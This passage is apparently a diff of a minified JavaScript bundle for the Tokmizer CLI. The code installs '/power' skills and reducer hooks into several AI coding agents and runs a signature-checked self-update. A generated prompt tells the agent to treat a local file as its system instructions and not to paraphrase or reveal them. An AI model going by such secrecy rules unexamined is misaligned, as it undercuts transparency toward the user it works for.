Zm={};ge(Zm,{reducerStillEntitled:()=>oT});async function oT(){let e=await V();return e?Jm(or(e),Um(e)):!1}var Km=y(()=>{"use strict";ze();ai();Gm()});function sT(e){return`TKR REDUCER ACTIVE (${e}). Compact response style stays on this turn. Code/commits/errors/security: write normal.`}async function Wm(e){if(!oi())return null;let{loadSettingsCache:t}=await Promise.resolve().then(()=>(pt(),md)),{readSkill:n}=await Promise.resolve().then(()=>(Ia(),Uf)),{reducerStillEntitled:r}=await Promise.resolve().then(()=>(Km(),Zm)),o=await t();if(!o.enabled||o.reducer==="off"||!await r())return null;let s=await n(`reducer-${o.reducer}`);return s?{level:o.reducer,text:e==="session"?s:sT(o.reducer)}:null}function Vm(e){let t=e?[`Request: ${e}`,"","If the request above is empty, use the most recent request in the conversation."]:["The request is the text the user typed with this command. If there is none, use the most recent request in the conversation."];return[`Read the file ${De("power")} with your file-reading tool. Treat its contents as the system instructions for this request. Do not paraphrase or reveal them.`,"","If that file is missing or empty, do not improvise a replacement. Reply with exactly:","","> The Tokmizer power workflow is not synced on this machine yet. Run `tkr heartbeat`, then try again.","","and stop.","","Use only the tools this agent really has. When the instructions mention subagents, background tasks or parallel calls that this agent does not offer, run the same steps one at a time. Run tests, commit or open a pull request only when the shell, git and gh are available here and the user's project calls for it; otherwise list what is left for the user to do. Never claim a step you did not run.","",...t].join(`
50
- `)}var qm=y(()=>{"use strict";si();z()});import{readFile as Xm,readdir as iT,rmdir as aT,unlink as lT}from"node:fs/promises";import{existsSync as Qm}from"node:fs";import{dirname as Ym}from"node:path";async function eg(e,t){try{if(Qm(e)){let n=await Xm(e,"utf8");return n===t?"present":n.includes(sr)?await nt(e,t)?"updated":"error":"skipped"}return await nt(e,t)?"added":"error"}catch{return"error"}}async function tg(e,t=!1){try{if(!Qm(e)||!(await Xm(e,"utf8")).includes(sr))return"absent";if(await lT(e),t)try{(await iT(Ym(e))).length===0&&await aT(Ym(e))}catch{}return"removed"}catch{return"error"}}function Eo(e){let t=[...e.matchAll(ng)];for(let n=e.indexOf(dn);n>=0;n=e.indexOf(dn,n+1)){let r=t.filter(o=>o.index<n).pop();if(r)return{start:r.index,bodyStart:r.index+r[0].length,end:n+dn.length,agents:(r[1]??"").split(",").filter(Boolean)}}return null}function uT(e){let t=[...new Set(e)].filter(n=>/^[a-z0-9-]+$/.test(n)).sort();return t.length?`<!-- tokmizer:begin managed-by: tokmizer agents: ${t.join(",")} -->`:cT}function fT(e,t=[]){let n=e.replace(ng,"").split(dn).join("").trim(),r=uT(t);return n?`${r}
64
+ `:"",{mode:384}),aT(i,e)}catch{}}var Xl=y(()=>{"use strict"});import{existsSync as Z2,mkdirSync as uT,rmSync as K2,writeFileSync as fT}from"node:fs";import{join as dT}from"node:path";function mT(){return dT(b(),"codex-hook-notice")}function qp(){try{uT(b(),{recursive:!0,mode:448}),fT(mT(),String(Date.now()),{mode:384})}catch{}}var Yp=y(()=>{"use strict";U()});var Xp,Qp=y(()=>{"use strict";Xp=`-----BEGIN PUBLIC KEY-----
65
+ MCowBQYDK2VwAyEAQqaFzuV5RhhcjaYgECQqM1faOtWjIE5U54zyPADPSgM=
66
+ -----END PUBLIC KEY-----
67
+ `});var cg={};he(cg,{autoUpdateEnabled:()=>oc,claimSelfUpdateSlot:()=>ag,defaultDeps:()=>zT,maybeSpawnSelfUpdate:()=>JT,selfUpdate:()=>MT,setAutoUpdate:()=>IT,verifyReleaseSums:()=>lg});import{spawn as sg}from"node:child_process";import{createHash as pT,createPublicKey as gT,verify as hT}from"node:crypto";import{accessSync as yT,constants as kT,existsSync as or,mkdirSync as Ro,mkdtempSync as bT,readdirSync as wT,readFileSync as li,realpathSync as ec,renameSync as eg,rmSync as gn,statSync as _T,symlinkSync as ST,writeFileSync as Ao,appendFileSync as xT}from"node:fs";import{fileURLToPath as ET}from"node:url";import{basename as ig,dirname as ai,join as K}from"node:path";import rc from"node:os";function OT(e,t){try{let n=JSON.parse(li(og(),"utf8"));if(n.version===e&&typeof n.at=="number")return t-n.at>=TT}catch{}try{Ro(b(),{recursive:!0,mode:448}),Ao(og(),JSON.stringify({version:e,at:t}),{mode:384})}catch{}return!1}function oc(){return process.env.TOKMIZER_AUTO_UPDATE==="0"?!1:!or(nc())}function IT(e){if(e){gn(nc(),{force:!0});return}Ro(b(),{recursive:!0,mode:448}),Ao(nc(),String(Date.now()))}function PT(e){try{return Ro(e),!0}catch{}try{return Date.now()-_T(e).mtimeMs<6e4?!1:(gn(e,{recursive:!0,force:!0}),Ro(e),!0)}catch{return!1}}function ag(e=Date.now()){let t=K(b(),"self-update-slot.lock");try{Ro(b(),{recursive:!0,mode:448})}catch{return!1}if(!PT(t))return!1;try{try{let n=Number(li(ng(),"utf8"));if(Number.isFinite(n)&&e-n<vT)return!1}catch{}return Ao(ng(),String(e)),!0}catch{return!1}finally{gn(t,{recursive:!0,force:!0})}}function NT(e){try{let t=K(b(),"self-update.log");xT(t,`${new Date().toISOString()} ${e}
68
+ `,{mode:384}),ii(t,tg,tg/2)}catch{}}async function MT(e){if(!oc())return["disabled"];if(!ee())return["network off"];let t=e.latest;if(!t||!tc.test(t))return["no-version"];let n=OT(t,(e.now??Date.now)()),r=[],o=[],s=u=>{o.push(u),r.includes(`waiting: ${t} is less than 24h old`)||r.push(`waiting: ${t} is less than 24h old`)},i=(await e.run("npm",["root","-g"]).catch(()=>({code:1,stdout:""}))).stdout.trim(),a=i?e.npmVersion(i):void 0;if(a)if(!on(a,t))o.push(a);else if(!n)s(a);else if(!e.writable(i))r.push("npm needs permission");else{let u=await e.run("npm",["i","-g",`@tokmizer/plugin@${t}`,"--no-audit","--no-fund"]).catch(()=>({code:1,stdout:""})),f=e.npmVersion(i);u.code===0&&f===t?(r.push(`npm ${a} -> ${t}`),o.push(t)):r.push(`npm failed (${a})`)}let l=e.standalone?DT(e.standalone.root):void 0;if(e.standalone&&l)if(!on(l,t))o.push(l);else if(!n)s(l);else{let u=await LT(e.standalone,l,t,e.run).catch(f=>`standalone failed (${l})${f instanceof Error?`: ${f.message}`:""}`);r.push(u),u.includes("->")&&o.push(t)}if(process.platform!=="win32"){let u=await e.run("brew",["list","--versions","tokmizer"]).catch(()=>({code:1,stdout:""})),f=u.code===0?u.stdout.trim().split(/\s+/)[1]:void 0;if(f&&tc.test(f))if(!on(f,t))o.push(f);else if(!n)s(f);else{let d=await e.run("brew",["upgrade","tokmizer"],{...process.env,HOMEBREW_NO_INSTALL_CLEANUP:"1"}).catch(()=>({code:1,stdout:""}));d.code===0?(r.push(`brew ${f} -> ${t}`),o.push(t)):/untrusted tap/i.test(d.stderr??"")?r.push("brew tap not trusted: run brew trust norwelltw/tokmizer"):r.push(`brew failed (${f})`)}}if(r.some(u=>u.includes("->"))&&await e.run("tkr",["shims-refresh"]).catch(()=>({code:1,stdout:""})),o.some(u=>!on(u,RT))&&e.codexInstalled()&&!or(rg())){let u=await e.ensureCodexHook(i).catch(()=>"error");if(u!=="error"){try{Ao(rg(),String(Date.now()))}catch{}(u==="added"||u==="updated")&&qp(),r.push(`codex hook ${u}`)}}for(let u of r)NT(u);return r}function DT(e){try{let t=JSON.parse(li(K(e,"current","package.json"),"utf8")).version;return typeof t=="string"&&tc.test(t)?t:void 0}catch{return}}async function Ql(e,t,n){let r=await e.fetch(t);if(!r.ok)throw new Error(`HTTP ${r.status}`);let o=()=>new Error(`${ig(t)} is larger than ${n} bytes`);if(Number(r.headers.get("content-length"))>n)throw await r.body?.cancel().catch(()=>{}),o();if(!r.body)return Buffer.alloc(0);let s=r.body.getReader(),i=[],a=0;for(;;){let{done:l,value:c}=await s.read();if(l)break;if(a+=c.byteLength,a>n)throw await s.cancel().catch(()=>{}),o();i.push(Buffer.from(c))}return Buffer.concat(i)}function lg(e,t,n){try{return hT(null,e,gT({key:n,format:"pem"}),t)}catch{return!1}}function FT(e,t,n){let r=new RegExp(`^tokmizer-\\d+\\.\\d+\\.\\d+-${t}$`);for(let o of wT(e))r.test(o)&&!n.includes(o)&&gn(K(e,o),{recursive:!0,force:!0})}async function LT(e,t,n,r){let o=`tokmizer-${n}-${e.key}`,s=f=>`standalone failed (${t}): ${f}`,i=await Ql(e,`${e.base(n)}/SHA256SUMS`,AT),a=await Ql(e,`${e.base(n)}/SHA256SUMS.sig`,$T).catch(()=>{});if(!a)return s("release signature missing or unreadable");if(!lg(i,a,e.releaseKey))return s("release signature invalid");let l=i.toString("utf8").split(`
69
+ `).map(f=>/^([0-9a-f]{64}) {2}(\S+)$/.exec(f.trim())).find(f=>f?.[2]===`${o}.tar.gz`)?.[1];if(!l)return s(`no build for ${e.key}`);let c=await Ql(e,`${e.base(n)}/${o}.tar.gz`,CT);if(pT("sha256").update(c).digest("hex")!==l)return s("checksum mismatch");let u=bT(K(e.root,".update-"));try{Ao(K(u,"release.tar.gz"),c);let f=await r("tar",["-xzf",K(u,"release.tar.gz"),"-C",u]),d=K(u,o,"dist","bin","tkr");if(f.code!==0||!or(d))return s("archive");let m=await r(d,["--single-check"]);if(m.code!==0||m.stdout.trim()!==`tokmizer-single ${n}`)return s("probe");let g=ig(ec(K(e.root,"current"))),h=K(e.root,o);gn(h,{recursive:!0,force:!0}),eg(K(u,o),h);let p=K(e.root,`.current-${process.pid}`);return gn(p,{force:!0}),ST(o,p),eg(p,K(e.root,"current")),FT(e.root,e.key,[o,g]),`standalone ${t} -> ${n}`}finally{gn(u,{recursive:!0,force:!0})}}function HT(){if(!(!de()||process.platform==="win32"))try{let e=ai(ai(ai(ec(process.execPath)))),t=ai(e);return ec(K(t,"current"))===e?t:void 0}catch{return}}function jT(){let e=HT(),t=process.arch==="arm64"?"arm64":process.arch==="x64"?"x64":"";if(!(!e||!t||process.platform!=="darwin"&&process.platform!=="linux"))return{root:e,key:`${process.platform}-${t}`,base:n=>`https://github.com/norwelltw/Tokmizer/releases/download/v${n}`,fetch:n=>fetch(n,{redirect:"follow",signal:AbortSignal.timeout(5*6e4)}),releaseKey:Xp}}function BT(e,t,n){return new Promise(r=>{let o=sg(e,t,{cwd:rc.homedir(),env:n??process.env,shell:process.platform==="win32",stdio:["ignore","pipe","pipe"],windowsHide:!0}),s="",i="";o.stdout?.on("data",l=>{s+=l.toString("utf8")}),o.stderr?.on("data",l=>{i.length<8192&&(i+=l.toString("utf8"))});let a=setTimeout(()=>o.kill("SIGTERM"),10*6e4);o.on("error",()=>{clearTimeout(a),r({code:127,stdout:""})}),o.on("close",l=>{clearTimeout(a),r({code:l??1,stdout:s,stderr:i})})})}function zT(e){return{latest:e,run:BT,standalone:jT(),npmVersion:t=>{try{let n=JSON.parse(li(K(t,"@tokmizer","plugin","package.json"),"utf8")).version;return typeof n=="string"?n:void 0}catch{return}},writable:t=>{try{return yT(t,kT.W_OK),!0}catch{return!1}},codexInstalled:()=>or(process.env.CODEX_HOME||K(rc.homedir(),".codex")),ensureCodexHook:async t=>{let{ensureCodexHook:n,codexHookCommand:r}=await Promise.resolve().then(()=>(Gs(),Im)),{codexPluginProvidesHook:o}=await Promise.resolve().then(()=>(hl(),Rm));if(o())return"present";let s=K(t,"@tokmizer","plugin","dist","bin","tkr-codex-hook.js"),i=r(process.env.PATH??"",s);return i.startsWith("node ")&&!or(s)?"error":n(i)}}}function UT(){let e=ET(new URL(".",import.meta.url));for(let t of[K(e),K(e,"..")])if(or(K(t,"bin","tkr.js")))return t;return null}function JT(){try{if(!oc()||!ee())return;let e=de()?"":UT();if(e===null||!ag())return;let[t,...n]=cn(K(e,"bin","tkr.js")),r=sg(t,[...n,"self-update"],{cwd:rc.homedir(),detached:!0,stdio:"ignore",windowsHide:!0,env:{...process.env,TOKMIZER_SELF_UPDATE_CHILD:"1"}});r.on("error",()=>{}),r.unref()}catch{}}var tc,vT,TT,RT,tg,AT,$T,CT,nc,ng,rg,og,ug=y(()=>{"use strict";U();Ct();Xl();nt();Je();Yp();Qp();tc=/^\d+\.\d+\.\d+$/,vT=6*36e5,TT=24*36e5,RT="0.9.34",tg=64*1024,AT=64*1024,$T=1024,CT=200*1024*1024,nc=()=>K(b(),"auto-update-off"),ng=()=>K(b(),"self-update-last"),rg=()=>K(b(),"codex-hook-offered"),og=()=>K(b(),"self-update-seen")});import{readFileSync as fg}from"node:fs";import{join as dg}from"node:path";function ci(){try{let e=JSON.parse(fg(dg(b(),"settings-cache.json"),"utf8"));return e.enabled!==!1&&typeof e.reducer=="string"&&e.reducer!=="off"}catch{return!1}}function mg(){if(ke())return!1;try{return JSON.parse(fg(dg(b(),"settings-cache.json"),"utf8")).enabled!==!1}catch{return!0}}var ui=y(()=>{"use strict";U();ve()});var pg={};he(pg,{reducerStillEntitled:()=>GT});async function GT(){return await q()!==null}var gg=y(()=>{"use strict";Ue()});function ZT(e){return`TKR REDUCER ACTIVE (${e}). Compact response style stays on this turn. Code/commits/errors/security: write normal.`}async function hg(e){if(!ci())return null;let{loadSettingsCache:t}=await Promise.resolve().then(()=>(pt(),wd)),{readSkill:n}=await Promise.resolve().then(()=>(Na(),Vf)),{reducerStillEntitled:r}=await Promise.resolve().then(()=>(gg(),pg)),o=await t();if(!o.enabled||o.reducer==="off"||!await r())return null;let s=await n(`reducer-${o.reducer}`);return s?{level:o.reducer,text:e==="session"?s:ZT(o.reducer)}:null}function yg(e){let t=e?[`Request: ${e}`,"","If the request above is empty, use the most recent request in the conversation."]:["The request is the text the user typed with this command. If there is none, use the most recent request in the conversation."];return[`Read the file ${De("power")} with your file-reading tool. Treat its contents as the system instructions for this request. Do not paraphrase or reveal them.`,"","If that file is missing or empty, do not improvise a replacement. Reply with exactly:","","> The Tokmizer power workflow is not synced on this machine yet. Run `tkr heartbeat`, then try again.","","and stop.","","Use only the tools this agent really has. When the instructions mention subagents, background tasks or parallel calls that this agent does not offer, run the same steps one at a time. Run tests, commit or open a pull request only when the shell, git and gh are available here and the user's project calls for it; otherwise list what is left for the user to do. Never claim a step you did not run.","",...t].join(`
70
+ `)}var kg=y(()=>{"use strict";ui();U()});import{readFile as wg,readdir as KT,rmdir as WT,unlink as VT}from"node:fs/promises";import{existsSync as _g}from"node:fs";import{dirname as bg}from"node:path";async function Sg(e,t){try{if(_g(e)){let n=await wg(e,"utf8");return n===t?"present":n.includes(sr)?await rt(e,t)?"updated":"error":"skipped"}return await rt(e,t)?"added":"error"}catch{return"error"}}async function xg(e,t=!1){try{if(!_g(e)||!(await wg(e,"utf8")).includes(sr))return"absent";if(await VT(e),t)try{(await KT(bg(e))).length===0&&await WT(bg(e))}catch{}return"removed"}catch{return"error"}}function $o(e){let t=[...e.matchAll(Eg)];for(let n=e.indexOf(hn);n>=0;n=e.indexOf(hn,n+1)){let r=t.filter(o=>o.index<n).pop();if(r)return{start:r.index,bodyStart:r.index+r[0].length,end:n+hn.length,agents:(r[1]??"").split(",").filter(Boolean)}}return null}function YT(e){let t=[...new Set(e)].filter(n=>/^[a-z0-9-]+$/.test(n)).sort();return t.length?`<!-- tokmizer:begin managed-by: tokmizer agents: ${t.join(",")} -->`:qT}function XT(e,t=[]){let n=e.replace(Eg,"").split(hn).join("").trim(),r=YT(t);return n?`${r}
51
71
  ${n}
52
- ${dn}`:`${r}
53
- ${dn}`}function Zl(e,t,n=[]){let r=fT(t,n),o=Eo(e);if(o)return`${e.slice(0,o.start)}${r}${e.slice(o.end)}`;let s=e.replace(/\s+$/,"");return s?`${s}
72
+ ${hn}`:`${r}
73
+ ${hn}`}function sc(e,t,n=[]){let r=XT(t,n),o=$o(e);if(o)return`${e.slice(0,o.start)}${r}${e.slice(o.end)}`;let s=e.replace(/\s+$/,"");return s?`${s}
54
74
 
55
75
  ${r}
56
76
  `:`${r}
57
- `}function Kl(e){let t=Eo(e);if(!t)return null;let n=e.slice(0,t.start).replace(/\s+$/,""),r=e.slice(t.end).replace(/^\s+/,"");return n?r?`${n}
77
+ `}function ic(e){let t=$o(e);if(!t)return null;let n=e.slice(0,t.start).replace(/\s+$/,""),r=e.slice(t.end).replace(/^\s+/,"");return n?r?`${n}
58
78
 
59
79
  ${r}`:`${n}
60
- `:r}function Wl(e){return Eo(e)!==null}function li(e){return Eo(e)?.agents??[]}function rg(e){let t=Eo(e);return t?e.slice(t.bodyStart,t.end-dn.length):null}var sr,cT,dn,ng,og=y(()=>{"use strict";de();sr="managed-by: tokmizer";cT="<!-- tokmizer:begin managed-by: tokmizer -->",dn="<!-- tokmizer:end -->",ng=/<!-- tokmizer:begin managed-by: tokmizer(?: agents: ([a-z0-9,-]*))? -->/g});var kg={};ge(kg,{AGENT_BONUSES:()=>fi,agentBonus:()=>di,forgetReducerFiles:()=>RT,installAgentBonuses:()=>xT,powerInstalled:()=>ST,reducerInstalled:()=>yg,removeAgentBonuses:()=>ET,renderPower:()=>ug,repairReducerHooks:()=>vT,syncReducerRules:()=>TT});import{existsSync as lg,readFileSync as Ro}from"node:fs";import{readFile as cg,unlink as $o}from"node:fs/promises";import{join as Z}from"node:path";import dT from"node:os";function pn(e,t,n=[]){return{file:()=>Z(e(),"power","SKILL.md"),format:"skill",placeholder:null,front:["user-invocable: true",...n],invoke:t}}function ir(e){return{...pn(()=>Z(ie(),".agents","skills"),e),shared:!0}}function It(e,t,n=""){return{file:e,spec:r=>({mark:Pt,event:r,nested:!0,...n===null?{}:{matcher:n},...t})}}function di(e){return fi.find(t=>t.id===e)}function ig(e){return["---",...e,"---"].join(`
61
- `)}function ug(e){let t=Vm(e.placeholder),n=`<!-- ${sr} -->`;return e.format==="gemini-toml"?[`# ${sr}`,`description = ${JSON.stringify(Vl)}`,`prompt = ${JSON.stringify(t)}`,""].join(`
62
- `):`${e.format==="skill"?ig(["name: power",`description: ${JSON.stringify(Vl)}`,...e.front??[]]):ig([`description: ${JSON.stringify(Vl)}`,...e.front??[]])}
80
+ `:r}function ac(e){return $o(e)!==null}function fi(e){return $o(e)?.agents??[]}function vg(e){let t=$o(e);return t?e.slice(t.bodyStart,t.end-hn.length):null}var sr,qT,hn,Eg,Tg=y(()=>{"use strict";me();sr="managed-by: tokmizer";qT="<!-- tokmizer:begin managed-by: tokmizer -->",hn="<!-- tokmizer:end -->",Eg=/<!-- tokmizer:begin managed-by: tokmizer(?: agents: ([a-z0-9,-]*))? -->/g});var jg={};he(jg,{AGENT_BONUSES:()=>pi,agentBonus:()=>gi,forgetReducerFiles:()=>pR,installAgentBonuses:()=>uR,powerInstalled:()=>cR,reducerInstalled:()=>Hg,removeAgentBonuses:()=>dR,renderPower:()=>Ig,repairReducerHooks:()=>fR,syncReducerRules:()=>mR});import{existsSync as Cg,readFileSync as Oo}from"node:fs";import{readFile as Og,unlink as Po}from"node:fs/promises";import{join as Z}from"node:path";import QT from"node:os";function yn(e,t,n=[]){return{file:()=>Z(e(),"power","SKILL.md"),format:"skill",placeholder:null,front:["user-invocable: true",...n],invoke:t}}function ir(e){return{...yn(()=>Z(ae(),".agents","skills"),e),shared:!0}}function Mt(e,t,n=""){return{file:e,spec:r=>({mark:Nt,event:r,nested:!0,...n===null?{}:{matcher:n},...t})}}function gi(e){return pi.find(t=>t.id===e)}function Ag(e){return["---",...e,"---"].join(`
81
+ `)}function Ig(e){let t=yg(e.placeholder),n=`<!-- ${sr} -->`;return e.format==="gemini-toml"?[`# ${sr}`,`description = ${JSON.stringify(lc)}`,`prompt = ${JSON.stringify(t)}`,""].join(`
82
+ `):`${e.format==="skill"?Ag(["name: power",`description: ${JSON.stringify(lc)}`,...e.front??[]]):Ag([`description: ${JSON.stringify(lc)}`,...e.front??[]])}
63
83
 
64
84
  ${n}
65
85
 
66
86
  ${t}
67
- `}function fg(e){if(e==="codex")return ll();if(e==="cursor")return zs();let t=tr.find(r=>r.id===e);if(t)return t.installed();let n=xl(e);return n?_o(n):!1}function pT(e){return fi.filter(t=>t.id!==e&&!("none"in t.power)&&t.power.shared&&fg(t.id)).map(t=>t.id)}async function gT(e){return"none"in e.power?"none":mT.test(De("power"))?"unsafe":eg(e.power.file(),ug(e.power))}async function hT(e,t){if("none"in e.power)return"absent";let n=e.power;return n.shared&&!t&&pT(e.id).length?"absent":tg(n.file(),n.format==="skill")}function ag(e,t,n,r){let o=`${Ot(Pt,n,r)} ${e} ${t}`;return o.includes(Pt)?o:`${o} ${Pt}`}async function yT(e){let t=kt(),n=await oe(t);if(!n)return"error";let r={enabled:!0,SessionStart:[{type:"command",command:e,timeout:10}]},o=n[Ao];return o!==void 0&&JSON.stringify(o)===JSON.stringify(r)?"present":(n[Ao]=r,await se(t,n)?o===void 0?"added":"updated":"error")}async function kT(){let e=kt();if(!lg(e))return"absent";let t=await oe(e);return t?Ao in t?(delete t[Ao],await se(e,t)?"removed":"error"):"absent":"error"}async function Yl(){if(!oi())return"";try{let e=await Wm("session");return e?e.text:null}catch{return null}}function Co(e){return io(e)}function pi(){try{let e=re(Ro(Br(),"utf8"));if(!L(e))return{agents:{},created:[]};let t=L(e.agents)?Object.fromEntries(Object.entries(e.agents).filter(r=>typeof r[1]=="string")):{},n=Array.isArray(e.created)?e.created.filter(r=>typeof r=="string"):[];return{agents:t,created:n}}catch{return{agents:{},created:[]}}}async function Xl(e){if(!Object.keys(e.agents).length&&!e.created.length){try{await $o(Br())}catch{}return!0}return nt(Br(),`${JSON.stringify(e,null,2)}
68
- `)}function ql(){return fi.filter(e=>e.reducer.kind==="rules")}function dg(e,t,n){let r=new Set([...Object.keys(t.agents),...n===null?[]:li(n)]);return ql().filter(o=>r.has(o.id)&&Co(o.reducer.file())===e).map(o=>o.id).sort()}async function pg(e){try{return await cg(e,"utf8")}catch(t){if(t.code==="ENOENT")return null;throw t}}function ui(e,t,n){return ht(e,n,t??void 0)}async function mg(e,t,n){if(t===null)return"present";let r;try{r=await pg(e)}catch{return"error"}let o=Co(e);if(!t){let i=r===null?null:Kl(r);if(i===null)return"present";if(!i.trim()&&n.created.includes(o))try{return await $o(o),"removed"}catch{return"error"}return await ui(e,r,i)?"removed":"error"}let s=Zl(r??"",t,dg(o,n,r));return s===r?"present":await ui(e,r,s)?r!==null&&Wl(r)?"updated":"added":"error"}async function bT(e,t){let n=pi(),r=Co(t);!lg(t)&&!n.created.includes(r)&&n.created.push(r),n.agents[e.id]=t;let o=await mg(t,await Yl(),n);return o==="error"||!await Xl(n)?"error":o==="removed"?"updated":o}async function wT(e,t){let n=pi(),r=Co(t),o=e.id in n.agents,s=n.created.includes(r);delete n.agents[e.id];let i;try{i=await pg(t)}catch{return"error"}let a=i===null?null:rg(i),l=i===null?[]:li(i);if(!o&&(a===null||l.length&&!l.includes(e.id)))return"absent";let c=dg(r,n,i).filter(f=>f!==e.id);if(c.length||(n.created=n.created.filter(f=>f!==r)),!await Xl(n))return"error";if(i===null||a===null)return"removed";if(c.length){let f=Zl(i,a,c);return f===i||await ui(t,i,f)?"removed":"error"}let u=Kl(i)??i;if(!u.trim()&&s)try{return await $o(r),"removed"}catch{return"error"}return await ui(t,i,u)?"removed":"error"}async function gg(e){if(e===null)return;let t=cs();if(!e){try{await $o(t)}catch{}return}try{if(await cg(t,"utf8")===e)return}catch{}await nt(t,e)}function Ql(e){if(e.includes("error"))return"error";for(let t of["added","updated","removed"])if(e.includes(t))return t;return e.includes("present")?"present":"absent"}async function hg(e,t,n){let r=e.reducer;if(r.kind==="none")return"none";if(r.kind==="plugin")return await gg(await Yl()),"plugin";if(r.kind==="rules")return bT(e,r.file());if(r.kind==="antigravity")return yT(ag("antigravity","session",t,n));let o=[],s=r.targets();for(let i of s)for(let a of r.events)o.push(await go(i.file,i.spec(a.event),ag(r.format,a.kind,t,n)));if(r.cleanup){let i=new Set(s.map(a=>a.file));for(let a of r.cleanup().filter(l=>!i.has(l.file)))for(let l of r.events)await un(a.file,a.spec(l.event))}return Ql(o)}async function _T(e){let t=e.reducer;if(t.kind==="none"||t.kind==="plugin")return"absent";if(t.kind==="rules")return wT(e,t.file());if(t.kind==="antigravity")return kT();let n=[];for(let r of t.cleanup?t.cleanup():t.targets())for(let o of t.events)n.push(await un(r.file,r.spec(o.event)));return Ql(n)}function yg(e){let t=e.reducer;if(t.kind==="rules"){if(e.id in pi().agents)return!0;try{return Wl(Ro(t.file(),"utf8"))}catch{return!1}}if(t.kind==="antigravity")try{let n=re(Ro(kt(),"utf8"));return L(n)&&L(n[Ao])}catch{return!1}if(t.kind==="plugin"){let n=xl(e.id);return n?_o(n):!1}return t.kind!=="hooks"?!1:(t.cleanup?t.cleanup():t.targets()).some(n=>t.events.some(r=>mo(n.file,n.spec(r.event))))}function ST(e){if("none"in e.power||e.power.shared&&!fg(e.id))return!1;try{return Ro(e.power.file(),"utf8").includes(sr)}catch{return!1}}async function xT(e,t,n){let r=di(e);if(!r)return{lines:[],error:!1};let o=[],s=!1,i=await gT(r).catch(()=>"error");"none"in r.power?o.push(`/power: not available in ${r.label} (${r.power.none}).`):i==="unsafe"?o.push(`/power: skipped, the Tokmizer folder path ${De("power")} contains characters the agent would interpret.`):i==="skipped"?o.push(`/power: ${r.power.file()} already exists and is not Tokmizer's; left it untouched.`):i==="error"?(s=!0,o.push(`/power: could not write ${r.power.file()}.`)):o.push(`/power: ${i==="present"?"already set":"added"} in ${r.power.file()}. Use it with: ${r.power.invoke}`);let a=await hg(r,t,n).catch(()=>"error");return a==="error"?(s=!0,o.push(`Reducer: could not update the ${r.label} configuration.`)):a==="none"?o.push(`Reducer: not available in ${r.label} (${r.reducer.note}).`):o.push(`Reducer: follows tkr reducer <off|light|balanced|max>; ${r.reducer.note}.`),{lines:o,error:s}}async function vT(e,t,n){let r=di(e);!r||r.reducer.kind==="rules"||!yg(r)||await hg(r,t,n).catch(()=>null)}async function ET(e,t=!1){let n=di(e);if(!n)return"absent";let r=[await hT(n,t).catch(()=>"error"),await _T(n).catch(()=>"error")];return Ql(r)}async function TT(){let e=await Yl();await gg(e);let t=pi(),n=!1;for(let s of ql())if(!(s.id in t.agents))try{let i=Ro(s.reducer.file(),"utf8");li(i).includes(s.id)&&(t.agents[s.id]=s.reducer.file(),n=!0)}catch{}n&&await Xl(t);let r=[],o=new Set;for(let s of ql()){if(!(s.id in t.agents))continue;let i=s.reducer.file(),a=Co(i);if(o.has(a))continue;o.add(a);let l=await mg(i,e,t).catch(()=>"error");(l==="updated"||l==="added"||l==="removed")&&r.push(i)}return r}async function RT(){for(let e of[cs(),Br()])try{await $o(e)}catch{}}var ie,sg,ci,To,Vl,fi,mT,Ao,bg=y(()=>{"use strict";yt();de();cl();Bs();Js();Us();Ks();_l();qa();qm();si();og();z();Wn();Ws();ie=()=>dT.homedir(),sg=()=>process.env.PI_CODING_AGENT_DIR||Z(ie(),".pi","agent"),ci=()=>process.env.XDG_CONFIG_HOME||Z(ie(),".config");To=[{event:"SessionStart",kind:"session"},{event:"UserPromptSubmit",kind:"prompt"}],Vl="Tokmizer power workflow: plan, execute, review, verify and wrap up a coding request with few tokens. Use only when the user explicitly asks for power.",fi=[{id:"codex",label:"Codex",power:ir("$power <request> (or pick it in /skills)"),reducer:{kind:"hooks",format:"hso",events:To,targets:()=>[It(Le(),{entry:e=>({type:"command",command:e,timeout:10})})],note:"injected by a SessionStart and a UserPromptSubmit hook in hooks.json; approve them once in /hooks"}},{id:"gemini",label:"Gemini CLI",power:{file:()=>Z(process.env.GEMINI_CLI_HOME||ie(),".gemini","commands","power.toml"),format:"gemini-toml",placeholder:"{{args}}",invoke:"/power <request>"},reducer:{kind:"hooks",format:"gemini",events:[{event:"SessionStart",kind:"session"},{event:"BeforeAgent",kind:"prompt"}],targets:()=>[It(po(),{entry:e=>({name:"tokmizer-reducer",type:"command",command:e,timeout:1e4})},"*")],note:"injected by a SessionStart and a BeforeAgent hook in settings.json"}},{id:"cursor",label:"Cursor",power:ir("/power <request>"),reducer:{kind:"hooks",format:"cursor",events:[{event:"sessionStart",kind:"session"}],targets:()=>[It(fo(),{entry:e=>({command:e,timeout:10}),prepare:er},null)],note:"injected by a sessionStart hook in hooks.json (Cursor has no per-prompt context hook)"}},{id:"copilot",label:"GitHub Copilot",power:ir("/power <request>"),reducer:{kind:"hooks",format:"copilot",events:[{event:"sessionStart",kind:"session"}],targets:()=>[It(pl(),{entry:e=>({type:"command",command:e,bash:e,powershell:e,timeout:10,timeoutSec:10}),prepare:er},null)],note:"injected by a sessionStart hook (Copilot drops per-prompt hook output)"}},{id:"droid",label:"Factory Droid",power:ir("/power <request>"),reducer:{kind:"hooks",format:"hso",events:To,targets:()=>{let e=Zs();return[It(e.file,{nested:e.spec.nested,entry:t=>({type:"command",command:t,timeout:10})})]},cleanup:()=>Qn().map(e=>It(e.file,{nested:e.spec.nested,entry:t=>({type:"command",command:t,timeout:10})})),note:"injected by a SessionStart and a UserPromptSubmit hook"}},{id:"qwen-code",label:"Qwen Code",power:{file:()=>Z(process.env.QWEN_HOME||Z(ie(),".qwen"),"commands","power.md"),format:"markdown",placeholder:"{{args}}",invoke:"/power <request>"},reducer:{kind:"hooks",format:"hso",events:To,targets:()=>[It(gl(),{entry:e=>({name:"tokmizer-reducer",type:"command",command:e,timeout:10})})],note:"injected by a SessionStart and a UserPromptSubmit hook in settings.json"}},{id:"crush",label:"Crush",power:ir("user:power from the command palette (ctrl+p)"),reducer:{kind:"rules",file:()=>Z(ci(),"crush","CRUSH.md"),note:"written into a managed block of CRUSH.md (Crush has no session or prompt hook)"}},{id:"junie",label:"Junie CLI",power:{file:()=>Z(ie(),".junie","commands","power.md"),format:"markdown",placeholder:"$prompt",front:["allowPromptArgument: true"],invoke:"/power <request>"},reducer:{kind:"rules",file:()=>Z(ie(),".junie","AGENTS.md"),note:"written into a managed block of ~/.junie/AGENTS.md (Junie ignores session-start context)"}},{id:"zcode",label:"ZCode",power:pn(()=>Z(ie(),".zcode","skills"),"/power 